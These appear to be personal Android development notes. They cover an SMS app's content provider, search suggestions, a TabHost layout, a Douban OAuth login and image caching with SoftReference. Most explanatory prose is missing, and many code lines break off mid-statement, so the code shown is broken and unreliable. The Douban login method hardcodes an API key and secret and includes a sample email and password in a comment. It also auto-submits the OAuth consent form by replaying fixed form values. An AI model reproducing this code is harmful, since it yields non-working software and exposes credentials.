																return	cursor;//	cursor
												}
												break;
								default:
												throw	new	IllegalArgumentException("UnKnow	Uri	:	"	+	uri);
								}
								if	(database.isOpen())	{
												database.close();
								}
								return	null;
				}



				@Override
				public	String	getType(Uri	uri)	{
								return	null;
				}
				@Override
				public	Uri	insert(Uri	uri,	ContentValues	values)	{
								SQLiteDatabase	database	=	helper.getWritableDatabase();
								Uri	resultInsertUri	=	null;
								int	insertMatch	=	uriMatcher.match(uri);
								switch	(insertMatch)	{
								case	GROUP_INSERT:
												if	(database.isOpen())	{
																long	id	=	database.insert(GROUP_TABLE,	null,	values);
																if	(id	!=	-1)	{
																				resultInsertUri	=	ContentUris.withAppendedId(uri,	id);
																				getContext().getContentResolver().notifyChange(uri,	null);
																}
												}
												break;
								default:
												throw	new	IllegalArgumentException("UnKnow	Uri	:	"	+	uri);
								}
								if	(database.isOpen())	{
												database.close();
								}
								return	resultInsertUri;
				}
				@Override
				public	int	delete(Uri	uri,	String	selection,	String[]	selectionArgs)	{
								return	0;
				}
				@Override
				public	int	update(Uri	uri,	ContentValues	values,	String	selection,
												String[]	selectionArgs)	{
								return	0;
				}
}



3	
AsyncQueryHandler	
//	NOTES===================2====================
/**
	*	
	*/
private	void	startQuery()	{
				
				MyAsyncQueryHandler	queryHandler	=	new	MyAsyncQueryHandler(getContentResolver());
				Uri	uri	=	Sms.GROUPS_QUERY_URI;
				String[]	projection	=	GROUP_QUERUY_PROJECTION;
				queryHandler.startQuery(0,	null,	uri,	projection,	null,	null,	null);
}
/**
	*	
	*/
private	class	MyAsyncQueryHandler	extends	AsyncQueryHandler	{
				public	MyAsyncQueryHandler(ContentResolver	cr)	{
								super(cr);
				}
				@Override
				protected	void	onQueryComplete(int	token,	Object	cookie,	Cursor	cursor)	{
								super.onQueryComplete(token,	cookie,	cursor);
								cursorAdapter.changeCursor(cursor);
				}
}
4ListView-CursorAdapter	
//	NOTES=====================3 listview=====================
/**
	*	ListView
	*/
private	void	initListView()	{
				cursorAdapter	=	new	MyCursorAdapter(this,	null,	true);
				lvGroup.setAdapter(cursorAdapter);
				lvGroup.setBackgroundColor(Color.WHITE);//	
				lvGroup.setCacheColorHint(Color.TRANSPARENT);
}



private	static	class	ViewHolder	{
				private	TextView	tvGroupName;
}
/**
	*	CursorAdapter
	*/
private	class	MyCursorAdapter	extends	CursorAdapter	{
				public	MyCursorAdapter(Context	context,	Cursor	c,	boolean	autoRequery)	{
								super(context,	c,	autoRequery);
				}
				@Override
				public	View	newView(Context	context,	Cursor	cursor,	ViewGroup	parent)	{
								View	view	=	View.inflate(context,	R.layout.listview_group,	null);
								ViewHolder	holder	=	new	ViewHolder();
								holder.tvGroupName	=	(TextView)	view.findViewById(R.id.tv_group_item_name
								view.setTag(holder);
								return	view;
				}
				@Override
				public	void	bindView(View	view,	Context	context,	Cursor	cursor)	{
								ViewHolder	holder	=	(ViewHolder)	view.getTag();
								//	
								String	groupName	=	cursor.getString(GROUPNAME_COLUMN_INDEX);
								holder.tvGroupName.setText(groupName);
				}
}
5

getContext().getContentResolver().notifyChange(uri,	null);		

//	NOTES====================4group====================
//	
@Override
protected	void	onStart()	{
				super.onStart();
				registerGroupInsert();
}



//	
@Override
protected	void	onStop()	{
				super.onStop();
				if	(groupObserver	!=	null)	{
								getContentResolver().unregisterContentObserver(groupObserver);
								groupObserver	=	null;
				}
}
/**
	*	
	*/
private	void	registerGroupInsert()	{
				Uri	uri	=	Sms.GROUPS_INSERT_URI;
				groupObserver	=	new	GroupInsertObserver(new	Handler());
				getContentResolver().registerContentObserver(uri,	false,	groupObserver);
}
/**
	*	
	*/
private	class	GroupInsertObserver	extends	ContentObserver	{
				public	GroupInsertObserver(Handler	handler)	{
								super(handler);
				}
				@Override
				public	void	onChange(boolean	selfChange)	{
								//	super.onChange(selfChange);
								startQuery();
				}
}



-Search-

	User	Interface→Search

	

	

searchable.xml

	

①res/xml/

②<searchable>
③android:labelstring.xml

<?xml	version="1.0"	encoding="utf-8"?>
<searchable	xmlns:android="http://schemas.android.com/apk/res/android"



				android:label="@string/app_label"
				android:hint="@string/search_hint"	>
</searchable>

Activity

①Activity
②
<!--	UI	-->
<activity	android:name=".SearchableUI"	>
				<intent-filter>
								<action	android:name="android.intent.action.SEARCH"	/>
				</intent-filter>
				<meta-data
								android:name="android.app.searchable"
								android:resource="@xml/searchable"	/>
</activity>
③SearchableUI<meta-data><application>

①Activity
<activity	android:name="cn.zengfansheng.sms.ConversationUI"	>
				<meta-data
								android:name="android.app.default_searchable"
								android:value=".SearchableUI"	/>
</activity>
②
<application
								......
				<meta-data
								android:name="android.app.default_searchable"
								android:value=".SearchableUI"	/>
									......
</application>
③onSearchRequested()



1 ——Receiving	the	query
protected	void	onCreate(Bundle	savedInstanceState)	{
				super.onCreate(savedInstanceState);
				setTitle("" );

				Intent	intent	=	getIntent();
				if	(Intent.ACTION_SEARCH.equals(intent.getAction()))	{
															//	
								String	query	=	intent.getStringExtra(SearchManager.QUERY);
								doMySearch(query);
				}
}
2 ——Searching	your	data

AsyncQueryHandler
AsyncQueryHandler



3ListActivity ——Presenting	the	results
CursorAdapter

	



package	cn.zengfansheng.sms;
import	android.app.ListActivity;
import	android.app.SearchManager;
import	android.content.AsyncQueryHandler;
import	android.content.ContentResolver;
import	android.content.Context;
import	android.content.Intent;
import	android.database.Cursor;
import	android.os.Bundle;
import	android.text.format.DateFormat;
import	android.text.format.DateUtils;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.CursorAdapter;
import	android.widget.ImageView;
import	android.widget.ListView;
import	android.widget.TextView;



import	cn.zengfansheng.sms.utils.Sms;
import	cn.zengfansheng.sms.utils.Utils;
/**
	*	UI
	*	
	*	@author	hacket
	*	
	*/
public	class	SearchableUI	extends	ListActivity	{
				private	final	String[]	SEARCH_PROJECTION	=	{	"_id",	"address",	"date","body"
				private	final	int	ADDRESS_COLUMN_INDEX	=	1;
				private	final	int	DATE_COLUMN_INDEX	=	2;
				private	final	int	BODY_COLUMN_INDEX	=	3;
				private	SearchAdapter	mAdapter;
				private	ListView	listView;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setTitle("" );
								initListView();
								
								//	
								Intent	intent	=	getIntent();
								if	(Intent.ACTION_SEARCH.equals(intent.getAction()))	{
												String	query	=	intent.getStringExtra(SearchManager.QUERY);
												startQuerySms(query);
								}
				}
				//	NOTES================2AsyncQueryHandler===============
				/**
					*	
					*	@param	query
					*/
				private	void	startQuerySms(String	query)	{
								
								SearchAsyncQueryHandler	asyncQuery	=	new	SearchAsyncQueryHandler(getContentResolver());
								String	selection	=	"body	like	?";



								String[]	selectionArgs	=	{	"%"	+	query	+	"%"	};
								//	
								asyncQuery.startQuery(0,	null,	Sms.SMS_URI,	SEARCH_PROJECTION,	selection,	selectionArgs,	
								
				}
				class	SearchAsyncQueryHandler	extends	AsyncQueryHandler	{
								public	SearchAsyncQueryHandler(ContentResolver	cr)	{
												super(cr);
								}
								
								@Override
								protected	void	onQueryComplete(int	token,	Object	cookie,	Cursor	cursor)	{
												mAdapter.changeCursor(cursor);
								}
				}
				//	NOTES=================1ListViewCursorAdapter===============
				private	void	initListView()	{
								listView	=	getListView();
								mAdapter	=	new	SearchAdapter(this,	null,	true);
								listView.setAdapter(mAdapter);
				}
				class	SearchAdapter	extends	CursorAdapter	{
								
								SearchViewHolder	mViewHolder;
								long	todayStartMillis;
								public	SearchAdapter(Context	context,	Cursor	c,	boolean	autoQuery)	{
												super(context,	c,	autoQuery);
												todayStartMillis	=	Utils.getTodayStartMillis();
								}
								@Override
								public	View	newView(Context	context,	Cursor	cursor,	ViewGroup	parent)	{
												View	view	=	getLayoutInflater().inflate(R.layout.item_conversation_item
												mViewHolder	=	new	SearchViewHolder();
												mViewHolder.ivIcon	=	(ImageView)	view.findViewById(R.id.iv_conversation_item_icon
												mViewHolder.tvName	=	(TextView)	view.findViewById(R.id.tv_conversation_item_name
												mViewHolder.tvDate	=	(TextView)	view.findViewById(R.id.tv_conversation_item_date
												mViewHolder.tvBody	=	(TextView)	view.findViewById(R.id.tv_conversation_item_body



												view.setTag(mViewHolder);
												return	view;
								}
								@Override
								public	void	bindView(View	view,	Context	context,	Cursor	cursor)	{
												mViewHolder	=	(SearchViewHolder)	view.getTag();
												
												String	address	=	cursor.getString(ADDRESS_COLUMN_INDEX);
												long	date	=	cursor.getLong(DATE_COLUMN_INDEX);
												String	body	=	cursor.getString(BODY_COLUMN_INDEX);
												mViewHolder.tvBody.setText(body);
												String	contactName	=	Utils.getContactName(getContentResolver(),	address);
												if(contactName	!=	null	&&	!"".equals(contactName))	{
																mViewHolder.ivIcon.setBackgroundResource(R.drawable.ic_contact_picture
																mViewHolder.tvName.setText(contactName);
												}	else	{
																mViewHolder.ivIcon.setBackgroundResource(R.drawable.ic_unknow_contact_picture
																mViewHolder.tvName.setText(address);
												}
												
												long	diffMillis	=	date	-	todayStartMillis;
												if(diffMillis	>	0	&&	diffMillis	<	DateUtils.DAY_IN_MILLIS)	{
																mViewHolder.tvDate.setText(DateFormat.getTimeFormat(SearchableUI.
												}	else	{
																mViewHolder.tvDate.setText(DateFormat.getDateFormat(SearchableUI.
												}
								}
								
				}
				
				class	SearchViewHolder	{
								ImageView	ivIcon;
								TextView	tvName;
								TextView	tvDate;
								TextView	tvBody;
				}
}



2-Search-

1	 ——Creating	a	Content	Provider
①SearchRecentSuggestionsProvider
public	class	MySuggestionProvider	extends	SearchRecentSuggestionsProvider	{
				public	final	static	String	AUTHORITY	=	"cn.zengfansheng.sms.provider.MySuggestionProvider"
				//	public	final	static	int	MODE	=	DATABASE_MODE_QUERIES;//	1
				public	final	static	int	MODE	=	DATABASE_MODE_QUERIES	|	DATABASE_MODE_2LINES
				public	MySuggestionProvider()	{
								setupSuggestions(AUTHORITY,	MODE);
				}
}		
②
<provider
				android:name="cn.zengfansheng.sms.provider.MySuggestionProvider"
				android:authorities="cn.zengfansheng.sms.provider.MySuggestionProvider"	>
</provider>		
③setupSuggestions()

2searchable.xml	 ——Modifying	the	Searchable	Configuration
①	android:searchSuggestAuthority="cn.zengfansheng.sms.provider.MySuggestionProvider"
1authorities
②	android:searchSuggestSelection="	?"		
SQLselection

<?xml	version="1.0"	encoding="utf-8"?>
<searchable	xmlns:android="http://schemas.android.com/apk/res/android"
				android:hint="@string/search_hint"
				android:label="@string/app_name"
				android:searchSuggestAuthority="cn.zengfansheng.sms.provider.MySuggestionProvider"
				android:searchSuggestSelection="	?"	>
</searchable>		

3query()	
	 selectionArgs[0]	



4	 smsCursorMatrixCursor	
BaseColumns._ID,//_id
SearchManager.SUGGEST_COLUMN_TEXT_1,//	suggest_text_1
SearchManager.SUGGEST_COLUMN_TEXT_2,	//	suggest_text_2
SearchManager.SUGGEST_COLUMN_QUERY		

/**
	*	
	*	@author	hacket
	*
	*/
public	class	MySuggestionProvider	extends	SearchRecentSuggestionsProvider	{

				private	static	final	String	TAG	=	"MySuggestionProvider";
				public	final	static	String	AUTHORITY	=	"cn.zengfansheng.sms.provider.MySuggestionProvider"
				//	public	final	static	int	MODE	=	DATABASE_MODE_QUERIES;//	1
				public	final	static	int	MODE	=	DATABASE_MODE_QUERIES	|	DATABASE_MODE_2LINES
				private	final	String[]	SEARCH_PROJECTION	=	{	"_id",	"address",	/*"date",*/
				private	final	int	ID_COLUMN_INDEX	=	0;
				private	final	int	ADDRESS_COLUMN_INDEX	=	1;
				private	final	int	BODY_COLUMN_INDEX	=	2;
				
				public	MySuggestionProvider()	{
								setupSuggestions(AUTHORITY,	MODE);
				}
				@Override
				public	Cursor	query(Uri	uri,	String[]	projection,	String	selection,
												String[]	selectionArgs,	String	sortOrder)	{
								String	query	=	selectionArgs[0];
								Log.e(TAG,	"" 	+	query);
								//	1
								String	where	=	"body	like	?";
								String[]	whereArgs	=	{	"%"	+	query	+	"%"	};
								ContentResolver	resolver	=	getContext().getContentResolver();
								Cursor	smsCursor	=	resolver.query(Sms.SMS_URI,	SEARCH_PROJECTION
								
								//	Utils.printCursor(smsCursor);



								
								//	2smsCursorMatrixCursor
								String[]	columnNames	=	new	String[]	{
																BaseColumns._ID,//_id
																SearchManager.SUGGEST_COLUMN_TEXT_1,//	suggest_text_1
																SearchManager.SUGGEST_COLUMN_TEXT_2,	//	suggest_text_2
																SearchManager.SUGGEST_COLUMN_QUERY
								};
								MatrixCursor	matrixCursor	=	new	MatrixCursor(columnNames);
								if	(smsCursor	!=	null	&&	smsCursor.getCount()	>	0)	{
												Object[]	columnValues	=	new	Object[columnNames.length];
												while	(smsCursor.moveToNext())	{
																columnValues[ID_COLUMN_INDEX]	=	smsCursor.getInt(ID_COLUMN_INDEX
																columnValues[ADDRESS_COLUMN_INDEX]	=	smsCursor.getString(
																columnValues[BODY_COLUMN_INDEX]	=	smsCursor.getString(BODY_COLUMN_INDEX
																//	-intent.getStringExtra(SearchManager.QUERY);
																columnValues[3]	=	smsCursor.getString(BODY_COLUMN_INDEX);
																matrixCursor.addRow(columnValues);
												}
												smsCursor.close();
								}
								return	matrixCursor;
				}
}





SplashActivity-



-TabHost
TabHost

TabHost
1TabWidget
:
①TabHostRelativeLayout
②TabWidgetandroid:layout_gravity="bottom",

2TabWidget-
TabSpec.setIndicator(view);

3FrameLayoutTabWidgetFrameLayoutTabWidget
1TabWidgetFrameLayoutlayout_marginBottomTabWidget
2 TabWidgetLinear Layout FrameLayoutlayout_weight	=	1	,	layout_weight		=	0dp
TabWidget FrameLayoutTabWidget

<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>

				<TabHost
								android:id="@android:id/tabhost"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>

								<RelativeLayout
												android:layout_width="match_parent"
												android:layout_height="match_parent"	>
												<TabWidget
																android:id="@android:id/tabs"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"
																android:layout_alignParentBottom="true"	>
												</TabWidget>
												<FrameLayout
																android:id="@android:id/tabcontent"
																android:layout_width="match_parent"
																android:layout_height="match_parent"
																android:layout_above="@android:id/tabs"	>
												</FrameLayout>



								</RelativeLayout>

				</TabHost>
</RelativeLayout>



1 <include	layout="@layout/titlebar_base"	/>
merge	
android:scaleType="fitXY"		

2ListView
①	android:cacheColorHint="#00000000"			
②	android:divider="@android:color/transparent"	ListView
③	android:dividerHeight="10.0dip"	ListViewitem
④	android:listSelector="@drawable/category_selector"			ListViewitem
⑤	android:scrollbarStyle="outsideInset"	ListViewListView

3ActivityTitle
protected	void	onCreate(Bundle	savedInstanceState)	{
				super.onCreate(savedInstanceState);
				//	requestWindowFeature(Window.FEATURE_NO_TITLE);
				//	title AcitivtystyleTheme.NoTitleBar
				setContentView(R.layout.activity_my_douban);
}
onCreat()Activitytitle
,onCreate()
<activity
				android:name="cn.zengfansheng.douban.ui.MeActivity"
				android:theme="@android:style/Theme.NoTitleBar"	>
</activity>





Oauth

	

API
API
Oauth
qqqqqq.com

Oauth

Oauth
public	static	boolean	Login(String	name,	String	pwd,	String	captchaValue,
												String	captchaId,	Context	context)	throws	Exception	{
								//	1.api	key	secret.
								String	apiKey	=	"0c51c1ba21ad8cfd24f5452e6508a6f7";//	"04924cd7df3141100db6e6879d93c330";
								String	secret	=	"359e16e5e5c62b6e";//	"bac546912692fb9a";
								DoubanService	myService	=	new	DoubanService("" ,	apiKey,	secret);
//								DoubanService	myService	=	new	DoubanService("",	apiKey,	secret);
								System.out.println("please	paste	the	url	in	your	webbrowser,	complete	the	authorization	then	come	back:"
								//	2.
								String	url	=	myService.getAuthorizationUrl(null);
								System.out.println(url);
								//		
								//	 httpclient		
								//	 httpclient			cookie
								//	http://www.douban.com/accounts/login
								//	
								//	post
								//	source=simple&
								//	redir=http%3A%2F%2Fwww.douban.com&
								//	form_email=itcastweibo@sina.cn&form_password=a11111&user_login=%E7%99%BB%E5%BD%95
								HttpPost	httppost	=	new	HttpPost("http://www.douban.com/accounts/login");
								//	 http	post
								List<NameValuePair>	namevaluepairs	=	new	ArrayList<NameValuePair>();
								namevaluepairs.add(new	BasicNameValuePair("source",	"simple"));
								namevaluepairs.add(new	BasicNameValuePair("redir","http://www.douban.com"));
								namevaluepairs.add(new	BasicNameValuePair("form_email",	name));
								namevaluepairs.add(new	BasicNameValuePair("form_password",	pwd));



								namevaluepairs.add(new	BasicNameValuePair("captcha-solution",captchaValue));
								namevaluepairs.add(new	BasicNameValuePair("captcha-id",	captchaId));
								namevaluepairs.add(new	BasicNameValuePair("user_login",	"" ));
								UrlEncodedFormEntity	entity	=	new	UrlEncodedFormEntity(namevaluepairs,
																"utf-8");
								httppost.setEntity(entity);
								//	
								DefaultHttpClient	client	=	new	DefaultHttpClient();
								//	
								HttpResponse	response	=	client.execute(httppost);
								System.out.println(response.getStatusLine().getStatusCode());
								Source	source	=	new	Source(response.getEntity().getContent());
								System.out.println(source.toString());
								//	cookie
								CookieStore	cookie	=	client.getCookieStore();
								//	cookie
								//		
								//	ck=Rw1e&oauth_token=6817c2017cc375dc38474604764a6194&
								//	oauth_callback=&ssid=9d9af9b0&confirm=%E5%90%8C%E6%84%8F
								HttpPost	post1	=	new	HttpPost(url);
								String	oauth_token	=	url.substring(url.lastIndexOf("=")	+	1,
																url.length());
								System.out.println(oauth_token);
								List<NameValuePair>	namevaluepairs1	=	new	ArrayList<NameValuePair>();
								namevaluepairs1.add(new	BasicNameValuePair("ck",	"Rw1e"));
								namevaluepairs1.add(new	BasicNameValuePair("oauth_token",	oauth_token));
								namevaluepairs1.add(new	BasicNameValuePair("oauth_callback",	""));
								namevaluepairs1.add(new	BasicNameValuePair("ssid",	"9d9af9b0"));
								namevaluepairs1.add(new	BasicNameValuePair("confirm",	"" ));
								UrlEncodedFormEntity	entity1	=	new	UrlEncodedFormEntity(
																namevaluepairs1,	"utf-8");
								post1.setEntity(entity1);
								DefaultHttpClient	client2	=	new	DefaultHttpClient();
								client2.setCookieStore(cookie);
								HttpResponse	respose1	=	client2.execute(post1);
								InputStream	is	=	respose1.getEntity().getContent();
								ByteArrayOutputStream	bos	=	new	ByteArrayOutputStream();
								byte[]	buffer	=	new	byte[1024];
								int	len	=	0;
								while	((len	=	is.read(buffer))	!=	-1)	{
												bos.write(buffer,	0,	len);
								}



								is.close();
								System.out.println(new	String(bos.toByteArray()));
								//	3.	
								ArrayList<String>	tokens	=	myService.getAccessToken();
								String	accesstoken	=	tokens.get(0);
								String	tokensecret	=	tokens.get(1);
								System.out.println(accesstoken);
								System.out.println(tokensecret);
								SharedPreferences	sp	=	context.getSharedPreferences("config",
																Context.MODE_PRIVATE);
								Editor	editor	=	sp.edit();
								editor.putString("accesstoken",	accesstoken);
								editor.putString("tokensecret",	tokensecret);
								editor.commit();
								return	true;
				}



AsyncTask

package	cn.zengfansheng.douban.utils;
import	android.os.AsyncTask;
/**
	*	
	*	
	*	@author	hacket
	*	
	*	( url)
	*	
	*	()
	*	
	*		()
	*	
	*/
public	class	LoadImageAsynTask<Params,	Progress,	Result>	extends	AsyncTask<Params,	Progress,	Result>	{
				private	final	LoadImageAsynTaskCallback<Result>	callback;
				public	LoadImageAsynTask(LoadImageAsynTaskCallback<Result>	callback)	{
								this.callback	=	callback;
				}
				/**
					*	
					*/
				public	interface	LoadImageAsynTaskCallback<Result>	{
								/**
									*	
									*/
								public	abstract	void	beforeLoadImage();
								/**
									*	
									*	
									*	@param	bitmap
									*/



								public	abstract	void	afterLoadImage(Result	bitmap);
				}
				//	
				@Override
				protected	void	onPreExecute()	{
								//	,	LoadImageAsynTask	
								//		LoadImageAsynTask	
								callback.beforeLoadImage();
				}
				//	
				@Override
				protected	void	onProgressUpdate(Progress...	values)	{
				}
				//		
				@Override
				protected	Result	doInBackground(Params...	params)	{
								//	TODO	
								return	null;
				}
				//	
				@Override
				protected	void	onPostExecute(Result	result)	{
								callback.afterLoadImage(result);
				}
}

//	
new	LoadImageAsynTask<String,Integer,Bitmap>(new	LoadImageAsynTaskCallback<Bitmap>()	{
				@Override
				public	void	beforeLoadImage()	{
								iv_icon.setImageResource(R.drawable.ic_launcher);
				}
				@Override
				public	void	afterLoadImage(Bitmap	bitmap)	{
								iv_icon.setImageBitmap(bitmap);
				}
}){
				@Override
				protected	Bitmap	doInBackground(String...	params)	{



								try	{
												String	imageUrl	=	params[0];
												URL	url	=	new	URL(imageUrl);
												HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
												InputStream	is	=	conn.getInputStream();
												return	BitmapFactory.decodeStream(is);
								}	catch	(MalformedURLException	e)	{
												e.printStackTrace();
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}
								return	super.doInBackground(params);
				}
}.execute(iconurl);



ListViewSD

1
2SD

//	-
final	ImageView	ivBbook	=	(ImageView)	convertView.findViewById(R.id.book_img
String	filePath	=	book.getBookurl();
//	
final	String	fileName	=	filePath.substring(filePath.lastIndexOf("/")	+	1,	filePath.length());
//	 sd
String	storageState	=	Environment.getExternalStorageState();
File	file	=	null;
if	(Environment.MEDIA_MOUNTED.equals(storageState))	{
					file	=	new	File(Environment.getExternalStorageDirectory(),fileName);
}
if	(file	!=	null	&&	file.exists())	{//	/sd
				ivBbook.setImageURI(Uri.fromFile(file));
				Log.i(TAG,	"sd" 	+	fileName);
}	else	{//	 sk
				new	LoadImageAsynTask<String,	Void,	Bitmap>
(new	LoadImageAsynTaskCallback<Bitmap>()	{
								
								@Override
								public	void	beforeLoadImage()	{
												ivBbook.setImageResource(R.drawable.ic_launcher);
								}
								
								@Override
								public	void	afterLoadImage(Bitmap	bitmap)	{
												if	(bitmap!=null)	{
																Log.i(TAG,	"" +fileName);
																ivBbook.setImageBitmap(bitmap);
																//bitmapsd																								
																try	{
																				//sd
																				String	storageState	=	Environment.getExternalStorageState();



																				File	file	=	null;
																				if	(Environment.MEDIA_MOUNTED.equals(storageState))	{
																								file	=	new	File(Environment.getExternalStorageDirectory(),fileName);
																				}else	{
																								return;
																				}
																				CompressFormat	format	=	CompressFormat.JPEG;
																				int	quality	=	100;//100
																				OutputStream	stream	=	new	FileOutputStream(file);
																				boolean	b	=	bitmap.compress(format	,	quality	,	stream	);
																				Log.i(TAG,	"" +fileName+"sd" +b);
																}	catch	(FileNotFoundException	e)	{
																				e.printStackTrace();
																}
												}else	{
																ivBbook.setImageResource(R.drawable.ic_launcher);
												}
								}
				}){
								
								@Override
								protected	Bitmap	doInBackground(String...	params)	{
												try	{
																URL	url	=	new	URL(params[0]);
																HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
																InputStream	is	=	conn.getInputStream();
																Bitmap	bitmap	=	BitmapFactory.decodeStream(is);
																return	bitmap;
												}	catch	(Exception	e)	{
																e.printStackTrace();
																return	null;
												}
								}
								
				}.execute(filePath);
}



ListView-
-SoftReference

1	
/**
	*	key:
	*	value:bitmap
	*/
private	Map<String,	SoftReference<Bitmap>>	iconCacheMap;
2	
iconCacheMap	=	new	HashMap<String,	SoftReference<Bitmap>>();
3	
/**
	*	listview
	*/
private	class	MyReadAdapter	extends	BaseAdapter	{
				private	final	List<Book>	books;
				public	MyReadAdapter(List<Book>	books)	{
								this.books	=	books;
				}
				@Override
				public	int	getCount()	{
								return	books.size();



				}
				@Override
				public	Object	getItem(int	position)	{
								return	books.get(position);
				}
				@Override
				public	long	getItemId(int	position)	{
								return	position;
				}
				@Override
				public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
								ViewHolder	holder	=	null;
								if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)	{
												holder	=	(ViewHolder)	convertView.getTag();
								}	else	{
												holder	=	new	ViewHolder();
												convertView	=	View.inflate(MyReadActivity.this,R.layout.book_item,	null
												//holder.ivBbook	=	(ImageView)	convertView.findViewById(R.id.book_img);
												holder.tvTitle	=	(TextView)	convertView.findViewById(R.id.book_title);
												holder.tvDescription	=	(TextView)	convertView.findViewById(R.id.book_description
												holder.rbRate	=		(RatingBar)	convertView.findViewById(R.id.ratingbar);
												convertView.setTag(holder);
								}
								Book	book	=	books.get(position);
								//	
								holder.tvTitle.setText(book.getName());
								//	
								holder.tvDescription.setText(book.getDescription());
								//	
								if	(book.getRating()	!=	0)	{
												holder.rbRate.setRating(book.getRating());
								}	else	{
												holder.rbRate.setVisibility(View.INVISIBLE);
								}
								
								//	-
								final	ImageView	ivBbook	=	(ImageView)	convertView.findViewById(R.id.book_img



								
								String	filePath	=	book.getBookurl();
								//	
								final	String	fileName	=	filePath.substring(filePath.lastIndexOf("/")	+	1,	filePath.length());
								
//												1 sd sd												
//												//	 sd
//												String	storageState	=	Environment.getExternalStorageState();
//												File	file	=	null;
//												if	(Environment.MEDIA_MOUNTED.equals(storageState))	{
//																	file	=	new	File(Environment.getExternalStorageDirectory(),fileName);
//												}
//												if	(file	!=	null	&&	file.exists())	{//	/sd
//																ivBbook.setImageURI(Uri.fromFile(file));
//																Log.i(TAG,	" sd"	+	fileName);
//												}	else	{//	 sk
//																loadImage(ivBbook,	filePath,	fileName);
//												}
								
//												2												
								if	(iconCacheMap.containsKey(fileName))	{
												SoftReference<Bitmap>	reference	=	iconCacheMap.get(fileName);
												if	(reference	!=	null)	{
																Bitmap	bitmap	=	reference.get();
																if	(bitmap	!=	null)	{//	bitmap gc
																				ivBbook.setImageBitmap(bitmap);
																				Log.i(TAG,	"" 	+	fileName);
																}	else	{
																				loadImage(ivBbook,	filePath,	fileName);
																}
												}
								}	else	{
												loadImage(ivBbook,	filePath,	fileName);
								}
								
								return	convertView;
				}



				/**
					*	
					*	
					*	@param	ivBbook
					*	@param	filePath
					*	@param	fileName
					*/
				private	void	loadImage(final	ImageView	ivBbook,	String	filePath,
												final	String	fileName)	{
								new	LoadImageAsynTask<String,	Void,	Bitmap>
(new	LoadImageAsynTaskCallback<Bitmap>()	{
												
												@Override
												public	void	beforeLoadImage()	{
																ivBbook.setImageResource(R.drawable.ic_launcher);
												}
												
												@Override
												public	void	afterLoadImage(Bitmap	bitmap)	{
																if	(bitmap!=null)	{
																				Log.i(TAG,	"" +fileName);
																				ivBbook.setImageBitmap(bitmap);
//																								//1bitmap sd																								
//																								try	{
//
//																												//sd
//																												String	storageState	=	Environment.getExternalStorageState();
//																												File	file	=	null;
//																												if	(Environment.MEDIA_MOUNTED.equals(storageState))	{
//																																file	=	new	File(Environment.getExternalStorageDirectory(),fileName);
//																												}else	{
//																																return;
//																												}
//																												CompressFormat	format	=	CompressFormat.JPEG;
//																												int	quality	=	100;//100
//																												OutputStream	stream	=	new	FileOutputStream(file);
//																												boolean	b	=	bitmap.compress(format	,	quality	,	stream	);



//																												Log.i(TAG,	""+fileName+" sd"+b);
//																								}	catch	(FileNotFoundException	e)	{
//																												e.printStackTrace();
//																								}
																				//2-
																				SoftReference<Bitmap>	value	=	new	SoftReference<Bitmap>(bitmap);
																				iconCacheMap.put(fileName,	value);
																				Log.i(TAG,	"" +fileName+"" );
																}else	{
																				ivBbook.setImageResource(R.drawable.ic_launcher);
																}
												}
								}){
												
												@Override
												protected	Bitmap	doInBackground(String...	params)	{
																try	{
																				URL	url	=	new	URL(params[0]);
																				HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
																				InputStream	is	=	conn.getInputStream();
																				Bitmap	bitmap	=	BitmapFactory.decodeStream(is);
																				return	bitmap;
																}	catch	(Exception	e)	{
																				e.printStackTrace();
																				return	null;
																}
												}
												
								}.execute(filePath);
				}
}





ListView-

	listviewlistview
10adapter1020
10
1listview
①
②listview	listview
2MyReadAdapter
/**
	*	MyReadAdapter
	*	
	*	@param	books
	*/
public	void	addMoreBook(List<Book>	books)	{
				for	(Book	book	:	books)	{
								this.books.add(book);
				}
}
3 ​fillData()
@Override
protected	void	onPostExecute(List<Book>	result)	{
				hiddenLoading();
				if	(result	!=	null)	{//	
								if	(adapter	==	null)	{//null,
												adapter	=	new	MyReadAdapter(result);
												subjectlist.setAdapter(adapter);
								}	else	{//null
												//		 listview
												adapter.addMoreBook(result);
												//	
												adapter.notifyDataSetChanged();



								}
				}	else	{
								showToast("" );
				}
				isloading	=	false;//	false
}
4
ListView
convertviewimageview

①convertview
②xml
LinearLayout	llBookIcon	=	(LinearLayout)	view.findViewById(R.id.ll_book_icon
//	 llview
llBookIcon.removeAllViews();
final	ImageView	ivBookIcon	=	new	ImageView(getApplicationContext());
//	,
LayoutParams	params	=	new	LayoutParams(LayoutParams.WRAP_CONTENT,	LayoutParams.
llBookIcon.addView(ivBookIcon,	params);
1 	fillData	 listview
	 private	boolean	isloading;//	
①onPreExecute()true
②onPostExecute()false

2 listview
fillData()

wiz:open_attachment?guid=29842791-53c1-47b8-9b08-d8ef260e8e97


-

1view
registerForContextMenu(view);

2
//	
@Override
public	void	onCreateContextMenu(ContextMenu	menu,	View	v,
								ContextMenuInfo	menuInfo)	{
				super.onCreateContextMenu(menu,	v,	menuInfo);
				MenuInflater	inflater	=	getMenuInflater();
				inflater.inflate(R.menu.context_menu,	menu);
}

3
//	
@Override
public	boolean	onContextItemSelected(MenuItem	item)	{
				AdapterContextMenuInfo	info	=	(AdapterContextMenuInfo)	item.getMenuInfo();
				int	position	=	(int)	info.id;
				Note	note	=	(Note)	subjectlist.getItemAtPosition(position);
				NoteEntry	entry	=	note.getNoteEntry();
				switch	(item.getItemId())	{
				case	R.id.menu_add_note://	
								Intent	intent	=	new	Intent(this,	NewDiaryActivity.class);
								startActivityForResult(intent,	0);
								return	true;
				case	R.id.menu_delete_note://	
								deleteNote(entry);
								return	true;
				case	R.id.menu_edit_note://	
								return	true;
				}
				return	super.onContextItemSelected(item);
}





oom(ApplicationonLowMemory)
Activity

1MyAppApplicationonLowMemory()
2Activity
3
